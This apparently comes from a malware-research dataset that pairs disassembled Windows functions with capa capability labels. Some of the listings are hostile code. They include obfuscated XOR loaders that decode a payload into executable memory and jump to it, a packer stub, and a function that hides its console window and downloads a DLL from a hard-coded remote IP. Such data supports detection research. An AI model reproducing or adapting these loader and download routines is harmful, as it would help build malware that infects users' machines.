joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100396b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100412f8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x100512d4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1005128c]
cmp eax, 0xffffffff
jne 0x100396e6
xor ebx, ebx
jmp 0x100396ef
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003972f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003976e
test esi, esi
jne 0x10039772
push 0x10038230
push 0x10052ad8
call fcn.1001f4d0
mov eax, dword [0x1005128c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003972f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003975c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003975c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100397b4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003979d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10039772
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10039700
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100397d9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100397d9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1001f4d0
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100397c0
jmp 0x10039700
Function at 0x4010b2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4010ff
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x804]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x404]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40170c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40171b
pop dword [ebp - 0x50]
mov eax, 0xcdd080c3
add eax, 0x326f9658
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x7cd71e64
sub dword [ebp - 0x60], 0x2e84d919
mov dword [ebp - 0x5c], 0xfa609ea4
add dword [ebp - 0x5c], 0x37d2ada1
mov dword [ebp - 0x58], 0x19a2b0ff
sub dword [ebp - 0x58], 0xcd566cd1
mov dword [ebp - 0x54], 0xc4accc72
sub dword [ebp - 0x54], 0xc4accc72
lea eax, [ebp - 0x60]
push eax
mov eax, 0x2f0e1a42
add eax, 0xd132b612
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x4d894701
sub dword [ebp - 0x60], 0xd916ddab
mov dword [ebp - 0x5c], 0xf7e3f695
sub dword [ebp - 0x5c], 0xb6779520
mov dword [ebp - 0x58], 0x81a7fdb2
sub dword [ebp - 0x58], 0x1e389146
mov dword [ebp - 0x54], 0x1a30f74e
sub dword [ebp - 0x54], 0x1a30f74e
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x64055495
sub eax, 0x63c48449
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3b7ee
push 0
call eax
mov ecx, 0xce75a81b
sub ecx, 0xce75590d
xor esi, esi
add esi, eax
mov edx, 0x41b000
add edx, dword [ebp - 0x50]
mov ebx, 0x81065729
add ebx, 0x600cfc02
xor dword [ebp - 0x28], 0x8ad6c415
mov edi, dword [edx]
xor dword [ebp - 0x3c], esi
add edi, ebx
mov dword [ebp - 0x30], 0xf1c4f086
mov dword [esi], edi
add dword [ebp - 8], ecx
add esi, 0x5cb42e05
sub esi, 0x5cb42e01
add edx, 0x33353f51
sub edx, 0x33353f4d
loop 0x401839
add eax, 0xb27200b4
add eax, 0x4d8f2e57
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5cead937
add ecx, 0xa35526c9
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x9b508a1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x17a76710
nop
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x402c00
pop dword [ebp - 0x2c]
mov eax, 0xc6f6d2c4
add eax, 0x3949593c
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xc4d6ecf2
sub dword [ebp - 0x3c], 0x7684a7a7
mov dword [ebp - 0x38], 0x48390cbd
sub dword [ebp - 0x38], 0x1605c078
mov dword [ebp - 0x34], 0x86ea83cb
add dword [ebp - 0x34], 0xc561c063
mov dword [ebp - 0x30], 0xaa139a2d
add dword [ebp - 0x30], 0x55ec65d3
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x170aeab8
add eax, 0xe93585ac
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x38c96d95
sub dword [ebp - 0x3c], 0xc457043f
mov dword [ebp - 0x38], 0xaeedd4ab
sub dword [ebp - 0x38], 0x6d817336
mov dword [ebp - 0x34], 0xffecdce0
add dword [ebp - 0x34], 0x63828f8c
mov dword [ebp - 0x30], 0xbafa5d50
add dword [ebp - 0x30], 0x4505a2b0
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xe5f908b4
sub eax, 0xe5b8980c
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x34472
push 0
call eax
mov ecx, 0x32a25e60
sub ecx, 0x32a22005
xor esi, esi
add esi, eax
mov edi, 0x5920d211
sub edi, 0x58dfd211
add edi, dword [ebp - 0x2c]
mov edx, 0xf5c4916
add edx, 0xc6786443
mov ebx, dword [edi]
xor dword [ebp - 8], edi
xor ebx, edx
add dword [ebp - 8], 0x87bfd93f
mov dword [esi], ebx
mov dword [ebp - 0x10], 0xf30d62f2
add esi, 4
add edi, 4
loop 0x402d24
add eax, 0x618bc17d
sub eax, 0x618ad53e
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb4da512d
sub ecx, 0xb49a512d
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x402730
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4326f6
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x43ccf0]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
push edi
mov eax, dword [0x43ccf0]
xor eax, esp
push eax
lea eax, [esp + 0x260]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x104
lea eax, [esp + 0x150]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
push 0x1b
mov word [esp + 0x1c], cx
mov esi, 7
push str.http:__111.230.103.58_d.dll
lea ecx, [esp + 0x20]
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], ebx
call fcn.00405c40
lea edx, [esp + 0x18]
lea ecx, [esp + 0x34]
mov dword [esp + 0x268], ebx
call fcn.00401f00
mov byte [esp + 0x268], 2
cmp dword [esp + 0x2c], 8
jb 0x4027e8
mov edx, dword [esp + 0x18]
push edx
call fcn.0041cbbd
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 4
xor eax, eax
mov dword [esp + 0x4c], esi
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push str.Task
mov dword [esp + 0x4c], ebx
mov word [esp + 0x3c], ax
or esi, 0xffffffff
mov byte [ecx], bl
call fcn.004056d0
lea ecx, [esp + 0x50]
push ecx
call fcn.00402560
cmp eax, ebx
je 0x40284b
push 0x436a41
push 0x436a41
lea edx, [esp + 0x154]
push edx
push 0x436a44
call eax
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x402852
push 0x436a50
jmp 0x402857
push 0x436a5c
push 0x43e6b8
call fcn.00407ac0
add esp, 8
push esi
call fcn.00402a10
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402e00
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40289a
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40289a
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x4028b9
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], ebx
jne 0x4028b2
or eax, 4
push ebx
push eax
call fcn.00401ae0
cmp dword [esp + 0x144], 0x10
jb 0x4028d3
mov edx, dword [esp + 0x130]
push edx
call fcn.0041cbbd
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x260]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.0041c946
mov esp, ebp
pop ebp
ret
Function at 0x405970
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43203b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x43ccf0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040bd34
push 4
mov dword [ebp - 4], 0
call fcn.0041cfb8
mov edi, eax
add esp, 4
test edi, edi
je 0x4059f0
call fcn.0040898c
mov dword [edi], eax
call fcn.00408807
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040873c
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4059e6
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00408764
jmp 0x4059f2
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41c946
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43ccf0]
jne 0x41c950
repz ret
jmp fcn.00424134

Function at 0x42cd7c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43ccf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00424773
and dword [ebp - 0x14], 0
cmp dword [0x43f5c4], 0
mov dword [ebp - 0x18], eax
jne 0x42ce2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x42ced7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x42ced7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43f5c4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43f5c8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43f5cc], eax
call edi
push eax
call esi
mov dword [0x43f5d4], eax
test eax, eax
je 0x42ce2f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43f5d0], eax
mov eax, dword [0x43f5d0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x42ce88
cmp dword [0x43f5d4], ecx
je 0x42ce88
push eax
call esi
push dword [0x43f5d4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x42ce88
test ebx, ebx
je 0x42ce88
call edi
test eax, eax
je 0x42ce7f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42ce7f
test byte [ebp - 8], 1
jne 0x42ce88
or dword [ebp + 0x10], 0x200000
jmp 0x42cebb
mov eax, dword [0x43f5c8]
cmp eax, dword [ebp - 0x18]
je 0x42cebb
push eax
call esi
test eax, eax
je 0x42cebb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42cebb
mov eax, dword [0x43f5cc]
cmp eax, dword [ebp - 0x18]
je 0x42cebb
push eax
call esi
test eax, eax
je 0x42cebb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43f5c4]
call esi
test eax, eax
je 0x42ced7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42ced9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c946
leave
ret
Function at 0x402de4
Capabilities:
Terminate process

Disassembly:
push 0xc
mov eax, 0x4449d4
call fcn.0042eee6
mov eax, dword [esi + 0xa0]
cmp eax, 1
jge 0x402e1a
push 0xbd2
lea eax, [ebp - 0x18]
push eax
call fcn.004051b6
and dword [ebp - 4], 0
lea eax, [ebp - 0x18]
mov ecx, 0x45e368
jmp fcn.00403ba5
dec eax
lea ecx, [esi + 0x90]
cmp dword [ecx], eax
je 0x402e4b
mov dword [ecx], eax
lea ecx, [esi + 0x98]
call fcn.0040369f
push dword [eax]
call fcn.0042ae50
pop ecx
push eax
push 0
push 0x8002
push dword [esi + 0x20]
call dword [0x446570]
call fcn.0042ef85
ret

Function at 0x403ba5
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, eax
test esi, esi
je 0x403bde
push ebx
mov ebx, ecx
add ebx, 0x178
push edi
mov edi, dword [ebx]
test edi, edi
je 0x403bd1
call fcn.00406e0b
mov edx, dword [ebx]
push 0
push 0x44c020
call fcn.004066eb
pop ecx
pop ecx
mov eax, dword [esi]
push 0
push 0
mov ecx, esi
call dword [eax + 0x14]
pop edi
pop ebx
push 1
call fcn.0042b1eb
pop esi
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x444b75
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x459d40]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
push 0x403724
call fcn.0042aea3
pop ecx
lea eax, [esp + 0xc]
push eax
call fcn.004036b4
and dword [esp + 0x40], 0
lea ecx, [esp + 0xc]
call fcn.00407028
test eax, eax
je 0x403c8c
lea ecx, [esp + 0xc]
call fcn.004221f2
or eax, edx
je 0x403c8c
push 1
lea eax, [esp + 0xf]
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x13], 0x31
call fcn.00422246
movzx eax, byte [esp + 0xb]
sub eax, 0x30
je 0x403c85
dec eax
je 0x403c79
sub eax, 0x35
je 0x403c85
sub eax, 8
je 0x403c85
sub eax, 6
je 0x403c79
sub eax, 5
jne 0x403c8c
mov dword [0x45e414], 1
jmp 0x403c8c
and dword [0x45e414], 0
or dword [esp + 0x40], 0xffffffff
lea eax, [esp + 0xc]
push eax
call fcn.00403704
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x403bde
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, eax
test esi, esi
je 0x403bde
push ebx
mov ebx, ecx
add ebx, 0x178
push edi
mov edi, dword [ebx]
test edi, edi
je 0x403bd1
call fcn.00406e0b
mov edx, dword [ebx]
push 0
push 0x44c020
call fcn.004066eb
pop ecx
pop ecx
mov eax, dword [esi]
push 0
push 0
mov ecx, esi
call dword [eax + 0x14]
pop edi
pop ebx
push 1
call fcn.0042b1eb
pop esi
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x444b75
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x459d40]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
push 0x403724
call fcn.0042aea3
pop ecx
lea eax, [esp + 0xc]
push eax
call fcn.004036b4
and dword [esp + 0x40], 0
lea ecx, [esp + 0xc]
call fcn.00407028
test eax, eax
je 0x403c8c
lea ecx, [esp + 0xc]
call fcn.004221f2
or eax, edx
je 0x403c8c
push 1
lea eax, [esp + 0xf]
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x13], 0x31
call fcn.00422246
movzx eax, byte [esp + 0xb]
sub eax, 0x30
je 0x403c85
dec eax
je 0x403c79
sub eax, 0x35
je 0x403c85
sub eax, 8
je 0x403c85
sub eax, 6
je 0x403c79
sub eax, 5
jne 0x403c8c
mov dword [0x45e414], 1
jmp 0x403c8c
and dword [0x45e414], 0
or dword [esp + 0x40], 0xffffffff
lea eax, [esp + 0xc]
push eax
call fcn.00403704
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40fed0
Capabilities:
Encode data using xor

Disassembly:
mov dl, byte [eax + 0x34]
push ebx
push esi
xor esi, esi
cmp dword [eax + 0x38], esi
lea ebx, [esi + 1]
jle 0x40ff0a
push ebp
push edi
movzx edi, dl
mov ecx, dword [eax + 0x260]
mov ebp, ecx
shr ebp, 0x18
xor ebp, edi
shl ecx, 8
xor ecx, dword [ebp*4 + 0x458040]
add esi, ebx
mov dword [eax + 0x260], ecx
cmp esi, dword [eax + 0x38]
jl 0x40fee4
pop edi
pop ebp
mov ecx, dword [eax + 0x34]
mov byte [eax + ecx + 0x58], bl
mov esi, dword [eax + 0x38]
mov ecx, esi
sub ecx, ebx
je 0x40ff92
sub ecx, ebx
je 0x40ff77
sub ecx, ebx
je 0x40ff6b
mov byte [esi + eax + 0x54], bl
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
mov dl, byte [eax + 0x38]
mov esi, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
sub dl, 4
mov byte [esi + ecx], dl
add dword [eax + 0x44], ebx
pop esi
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
mov ecx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
pop esi
pop ebx
ret
mov esi, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [ecx + esi], dl
add dword [eax + 0x44], ebx
pop esi
pop ebx
ret
Function at 0x418040
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi + 0x20]
mov edx, dword [esi + 0x18]
mov ecx, dword [esi + 0x24]
mov ebp, dword [esi + 0x268]
push edi
mov edi, dword [esi + 0x44]
cmp edi, 0x2710
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x30]
mov dword [esp + 0x10], edx
jge 0x418080
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
push ebp
push edi
push ecx
push eax
mov eax, edx
jmp 0x418153
lea edx, [edi + 0x22]
test dl, 1
je 0x41808b
add edx, 1
add edx, ecx
cmp eax, 1
mov dword [esp + 0xc], edx
jge 0x41809d
mov eax, 1
jmp 0x4180a7
cmp eax, 0x64
jle 0x4180a7
mov eax, 0x64
lea edx, [eax - 1]
mov eax, 0x55555556
imul edx
mov eax, edx
push ebx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [esp + 0x14]
imul ebx, edi
lea edx, [esp + 0x24]
push edx
mov edx, dword [esp + 0x1c]
push ebp
push edi
push eax
push edx
mov edx, dword [esp + 0x24]
mov dword [esp + 0x38], ebx
call fcn.00417950
add esp, 0x14
cmp ebp, 3
jl 0x418122
test edi, edi
mov dword [esp + 0x10], 1
je 0x4180f4
mov dword [esp + 0x10], edi
sub ebx, dword [esp + 0x24]
sub esp, 8
mov dword [esp + 0x24], ebx
fild dword [esp + 0x24]
fidiv dword [esp + 0x18]
fstp qword [esp]
push edi
push ebx
push str._______d_work___d_block__ratio__5.2f_n
call fcn.0042e4ca
add eax, 0x40
push eax
call fcn.0042e69b
add esp, 0x18
cmp dword [esp + 0x24], 0
pop ebx
jge 0x41815b
cmp ebp, 2
jl 0x418145
push str.____too_repetitive__using_fallback_sorting_algorithm_n
call fcn.0042e4ca
add eax, 0x40
push eax
call fcn.0042e69b
add esp, 8
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
push ebp
push edi
push eax
mov eax, dword [esp + 0x1c]
push ecx
call fcn.00416bc0
add esp, 0x10
or ecx, 0xffffffff
xor eax, eax
cmp dword [esi + 0x44], eax
mov dword [esi + 0x1c], ecx
jle 0x418183
mov edx, dword [esp + 0x14]
lea esp, [esp]
cmp dword [edx + eax*4], 0
je 0x418180
add eax, 1
cmp eax, dword [esi + 0x44]
jl 0x418170
jmp 0x418183
mov dword [esi + 0x1c], eax
cmp dword [esi + 0x1c], ecx
pop edi
pop esi
pop ebp
jne 0x41819b
add esp, 0x10
mov dword [esp + 4], 0x3eb
jmp fcn.004118e0
add esp, 0x10
ret
Function at 0x4041bc
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
lea eax, [esp]
push eax
push dword [esp + 0x14]
push 0
call sub.SHELL32.dll_SHGetSpecialFolderLocation
mov ebx, eax
and ebx, ebx
jne 0x40426a
mov eax, dword [0x4a38bc]
push eax
push eax
push 0x104
call fcn.00405200
lea ecx, [esp + 8]
pop edx
call fcn.00404010
mov eax, dword [esp + 4]
push eax
push dword [esp + 4]
call sub.SHELL32.dll_SHGetPathFromIDListA
mov edx, dword [esp + 4]
xor ecx, ecx
call fcn.0040a530
jne 0x40426a
mov eax, dword [0x4a38bc]
push eax
push eax
push 1
push dword [esp + 0x10]
call fcn.00404e70
inc dword [0x4a38bc]
mov edx, str._aAb
pop ecx
mov dword [0x4a38bc], ecx
add ecx, dword [0x4a0b14]
call fcn.0040a530
jne 0x40426a
mov edx, dword [esp + 4]
push dword [0x4a38bc]
call fcn.0040a4d0
mov edx, str._aAb
call fcn.0040a4d0
lea ecx, [esp + 8]
pop edx
call fcn.00404010
mov edx, dword [esp + 4]
push dword [0x4a38bc]
call fcn.0040a4d0
pop eax
add eax, dword [0x4a0b14]
jmp 0x404290
push dword [esp + 4]
call fcn.0040a560
add esp, 8
pop ebx
ret 8